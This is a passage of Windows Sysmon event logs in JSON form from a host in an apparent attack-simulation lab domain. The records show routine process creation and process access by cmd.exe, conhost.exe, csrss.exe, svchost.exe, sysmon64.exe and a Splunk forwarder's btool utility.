ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-0010B03D0300}","TargetProcessId":"3320","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.217\r\nProcessGuid: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nProcessId: 4024\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nParentProcessId: 3320\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.217","ProcessGuid":"{90617006-3FE8-5F2D-0000-00106C3E0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE8-5F2D-0000-0010B03D0300}","ParentProcessId":"3320","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FE8-5F2D-0000-0010B03D0300}\r\nSourceProcessId: 3320\r\nSourceThreadId: 4032\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FE8-5F2D-0000-0010B03D0300}","SourceProcessId":"3320","SourceThreadId":"4032","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00106C3E0300}","TargetProcessId":"4024","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00106C3E0300}","TargetProcessId":"4024","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 